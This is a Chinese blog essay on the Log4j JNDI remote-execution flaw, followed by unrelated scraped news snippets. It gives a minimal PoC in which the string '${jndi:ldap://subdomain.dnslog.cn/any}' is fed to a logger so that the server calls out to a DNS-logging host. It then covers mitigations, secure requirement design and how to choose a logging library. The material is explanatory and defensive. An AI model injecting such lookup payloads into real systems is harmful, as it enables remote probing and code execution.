范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

由log4j远程执行漏洞说起

  这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了,我们先看一个简单的PoC:import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;  public class Main {      private static Logger logger = LogManager.getLogger();      public static void main(String[] args) {         logger.error("命令行参数:{}", args[0]); // 或 logger.error(args[0])     } }
  先前往dnslog网站,申请一个子域名,假如是"subdomain.dnslog.cn"。
  然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any},我们在dnslog网站上刷新请求记录,便会看到申请的子域名被访问了。
  如果你是一个开发者,你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员,自然知道当恶意访问人员输入时可不只是访问个域名就完事,很有可能把主机密码就传到指定网站了。
  那解决的办法在各大厂、安全公司等也已经公布了,无非以下几种:升级log4j版本替换成logback移除log4j jar包里有关jndi的类PatternLayout的配置使用"%m{nolookups}"代替"%m"在log4j2.component.properies配置文件添加配置"log4j2.formatMsgNoLookups=true"在启动命令添加"-Dlog4j2.formatMsgNoLookups=true" 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true升级JDKWAF
  我们先聊下解决方案。
  WAF或防火墙规则,我们先不聊,这个大公司都会做,但并不能完全解除问题。
  我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面,这些方案都需要一个应用一个应用去执行(甚至有些需要一个一个实例去处理),重复劳动,投入较大;另一方面,兼容性存疑,在升级前必然要做一定的回归测试。此处的兼容性,可以略举一些例子:比如代码里写死了log4j的实现类,而不是slf4j的api时,想要直接替换成logback就不现实。有人可能会说代码规范不允许,但他们忘了,规范和执行是2个相关的事情,但不是必然的因果关系。比如一些只做维护的老系统,存在时间比很多人工龄都长,还有一些是外包产商开发维护的系统,这种情况就是稳定重于一切。
  其余几个都是修改配置,但其中略有差异。比如环境变量影响操作系统上所有的应用,如果某个应用JDK版本较高,又刚好需要这个特性,那么就容易产生bug了。修改PatternLayout容易遗漏,比如通常在自己应用的log4j配置文件,但也有可能内部框架做了封装,在jar包有配置,甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout,也还是需要重新打包构建(除非有统一配置中心,并魔改log4j)。
  综上来看,我们要避免开发人员修改、避免再次构建,只做重启的话,只能是修改环境变量或添加启动参数了。当然,每个公司有它自己的体系,某些时候大众意义的不好用对于它而言,反而是最简单的。比如,没有自动化(尤其是k8s)的公司,想要改启动参数,运维一个个实例去修改,那简直痛不欲生。我们再谈下软件开发。
  如果我们是log4j的开发人员,当产品经理提出一个需求,即碰到由"${"开头、"}"结尾的日志时,自动做替换,这个需求我们要不要做,怎么做。
  刚入行的我是不会问要不要做的,只会想着怎么做,那自然是匹配、解析了。
  有一定经验的我则会问这个需求为了解决什么问题,有没有比产品经理提的刚恰当的方式来解决(产品经理资历较浅,或者对产品不够熟悉时)。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了,提交记录较多,可以通过代码反向推测需求:类似slf4j,将日志中的占位符替换成真实值,真实值可以延迟计算,计算来源支持扩展。
  从代码看,目前已有的扩展包括ctx(日志事件的上下文)、date(日志事件产生的时间)、env(系统环境)、jndi(JNDI上下文获取)、map、sd(结构化事件类型中获取)、sys(系统属性)、web(从web.xml等取ServletContext)
  需求是实现了,那还有吗?
  如果是一个资深的研发人员就会问了,有预计的使用频率吗,如果使用频率非常高,性能就需要注意不能拖后腿;这个特性如果出现问题,需要关闭,最好能动态关闭;这个特性实际使用了多少次,耗时多少,报错多少;这个是否会在多线程环境下执行,这段代码是否线程安全;用户的输入能否对服务器产生破坏,保存后对其他用户是否产生安全问题。
  在一个成熟的企业中,需要考虑诸如此类的问题。当然,很多东西可以模板化,减少开发人员心智,比如CI/CD实践中的自动化测试和DevSecOps。最后探讨技术选型。
  为什么这次的影响这么大,因为它是基础库,比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时,这从侧面说明log4j2是一个比较值得选取的日志库。
  那回到技术选型,以日志为例,我们需要考虑哪些方面呢?
  功能。功能是否契合企业需求,缺失功能是否在未来计划,或者扩展实现难度。如果功能都不满足,那自然pass。log4j、logback、log4j2都提供了将日志输出的功能,功能上都能满足,细节根据各企业自身情况而定了。
  性能。性能自然是非常重要的,生产是没法debug的,只能通过日志来跟踪某一个事务的情况,如果日志耗时太多,TPS自然受影响,用户体验变差,还可能导致硬件成本上升。log4j2的性能就比logback要出色,logback比log4j要出色。
  群众基础和易用性。如果没人会用,使用起来也困难,大概率很难被接受,也很难流行。文档是否介绍了架构设计,也有使用文档,文档是否支持多种语言(本土语言)。log4j2的配置就比较多,特别是想要较高性能时,配置更是复杂。
  稳定性与活跃度。生产上使用,肯定要求稳,不可能三五天做一次修复升级。如果功能还未按计划完全实现,那么迭代升级过程中会碰到诸多问题,需要有较多的人提前使用反馈意见做改进,出现问题时,能够通过搜索引擎或其他社群解决。
  开源协议。如果不开源,那么使用时心中便会有诸多不安,万一哪个地方有雷都不知道,出了问题,自己能解决的概率也极低。比如MySQL的双协议,要求要么交费,要么开源改动,不如Apache Licence等宽松,导致很多公司开始选择PostgreSQL。
  生态。与企业的整套框架是否有冲突,开发流程上是否需要做额外的事情。比如很多框架用了log4j2,贸然引进logback,势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback(当然这种场景基本没有),那么使用log4j2就需要再仔细想想了。
  架构设计与代码质量。如果代码的架构设计较差,扩展性没设计好,那么企业内部做扩展(二次开发)时,只能修改代码,与源头分叉,后续几乎没法合并,无法反哺开源社区,企业内部后续升级也十分困难。如果代码质量太差,一步一坑,大家直接用脚投票的。
  前瞻性。架构设计要有一定的前瞻性,以应对未来的变化。功能建设上也要有一定的前瞻性,实现、验证、上线三者之间还是需要一定时间的。比起等待,大部分人都是想我现在要。

夏天开空调开除湿模式,既能降温又能除湿,还省电?这是真的吗?今天入伏了,一年中最最闷热难耐的一段日子也要来了,是不是想想都觉得难熬?在上蒸下煮的三伏天里,我们都恨不能全天24小时呆在空调房里,守着空调哪里也不去。而在开空调的时候,很多人说,告别小白,电脑常用20个实用快捷键大全快捷键WINE快速打开我的电脑(资源管理器)WIND快速显示桌面WINV近期使用的20条复制记录WINS快速查找应用WINSHIFTS任意截屏WINL一键锁屏(必须设置密码)win华硕主板燃爆BW2021ROG信仰星球全程高能由B站官方举办的大型年度线下盛会BiliBiliWord2021(以下简称BW2021)7月9日在上海国家会议中心已正式拉开帷幕。ROG作为世界知名电竞品牌,在3H馆3A16展位为6月销冠的中肯建议,下半年这3款手机值得买,该围观还是捡漏?6月销冠的中肯建议,下半年这3款手机值得买,该围观还是捡漏?一个不了解手机产品的小白买手机,找一个了解产品性能的专业人士作为向导还是十分有必要的,刚好笔者有一位3年手机销售经验的朋几百块就能给iPhone扩容,但这真的有用吗?不得不承认iPhone手机确实耐用,以至于很多iPhone老用户一直不换机,不过正是因为iPhone的使用寿命长,不少商家专为iPhone推出了扩容服务,通过这种服务可以将16GBiPhone12前置夜间模式,网友都是我们玩剩下的看似大家把苹果叫做智能手机的引领者,实质上现在的iPhone手机很多功能已经远远地落后于安卓阵营。特别是相对于国产手机来讲iPhone好像除了iOS上的生态优势,以及强大的苹果A系简单四招让你的手机告别发热手机已经成为我们日常生活中不可缺少的一部分,最近天气热了,大家在玩手机的时候就会遇到这样一个问题,手机玩的时间久了就会发烫,有些人可能会不在意,但这样会大大的缩短手机电池的寿命,而市场最好的无人机2018年8月发布的djimavic2pro是dji制造的最好的摄像机之一。以大疆在这个行业的地位,我可以说Mavic2Pro是市场上最好的无人机之一。Mavic2系列包括Mavi华为P50月底发布摄像头参数曝光业内人士曝光,华为P50系列作为首款预装HarmonyOS自研系统的手机,还会首发一些HarmonyOS的全新特性。华为P50此次将全系配备11。18英寸的索尼最新定制传感器,可能用旧手机当机顶盒看电视,应该怎样连接?网络极客,全新视角全新思路,伴你遨游神奇的科技世界。就手机当做机顶盒看电视,需要注意两方面的问题一个是手机端,播放软件的下载,这里就不详细阐述了一个是手机端和电视之间的连接方式,通vivoTWS2高音质低延迟深度降噪,打造全场景畅听体验今年上半年,不少在无线耳机领域布局较早的手机厂商开始发力,推出了几款备受好评的产品。而在这之中,vivoTWS2这款无线耳机的体验最为完善,它在音质续航降噪延迟等方面都有不错的表现
工信部整治屏蔽网址链接问题,域名迎来利好新网域名资讯互联网行业互联互通或迎来实质性推进。9月9日下午,工信部有关业务部门召开了屏蔽网址链接问题行政指导会。会上,工信部提出有关即时通信软件的合规标准,要求限期内各平台必须按2021年,域名销售中位数创10年内最高新网域名资讯近期,威瑞信发布了2021年第二季度的域名行业简报。简报显示,在2021年第二季度结束时,所有顶级域(TLD)的域名注册量为3。673亿个,与第一季度相比,增加了380四数字域名8499。com53万高价结拍新网域名资讯对于很多投资者来说,四数字域名的性价比很高在投资上,四数字域名是稳健的增值保值品种,备受投资人青睐在应用上,范围极广,备受终端喜爱。以四数字com为例,以往,多数是被在2021上半年可疑电子邮件中,存在三成钓鱼攻击新网企业邮箱资讯安全公司FSecure分析了2021年上半年全球各机构员工标记的20多万封电子邮件,发现其中33的报告被归类为网络钓鱼。网络钓鱼是网络犯罪分子用来引诱受害者提供个人母婴市场消费新机遇中国上一代人口红利已经进入衰退期,千禧年至今,整整21年期间,正是优生优育的政策指引期,独生子女潮。在一个大的经济周期内,人口结构对国民经济产生巨大影响。低生育率的欧洲,呈现出老龄长沙盒马探店新鲜火锅,好吃不贵作者易牟原创深眸财经(chutou0325)秋天的第一顿火锅,你在哪里吃的?作为一个长沙人,海底捞小龙坎大斌家斌弟贤合庄辣斗辣你是不吃腻了?有多少人在盒马吃过火锅?10月16日,长小姐姐们居然看起了机器学习公式详解?作者易牟原创深眸财经(chutou0325)纸质书,还香吗?你有多久没买过书了?近日,一份2021新青年阅读报告引起了年轻人的共鸣,原来当代年轻人的满腔热情并非只放在包包化妆品吃喝裹着盲盒外衣的NFT作品,是蜜糖还是砒霜?作者易牟原创深眸财经(chutou0325)今年以来,NFT已然成为了数据艺术品市场的顶流,令人没想到的是,第三季度NFT释放了更大的想象空间。据悉,NFT在第三季度呈爆发式增长,社区电商新物种,淘菜菜将带领行业走向何方?作者叶蓁原创深眸财经(chutou0325)你最近逛了菜场吗?是不是发现菜比肉贵多了?确实如此,像菠菜连批发价格都涨到了10元斤。不过,10月27日,有热搜爆出淘菜菜急调100万斤2021上半年手游行业报告随着手机从通讯工具变成我们每个人的外挂器官,我们大量的碎片时间和时间缝隙,都借让手机帮助我们用掉。频繁的拿起手机,不断分散着我们的注意力,消耗我们的时间精力,游戏和短视频,绝对是消看蜜雪冰城如何爆款出圈新媒体人必学报告毫无疑问,米雪冰城以一种独特的姿态侵入我们的视野。从一个被排名比较靠后的,崛起于三四线开外的品牌,用摇摇车音乐,带着一杯并不出众的奶茶,完成了农村包围城市的爆破举措。微播易报告,看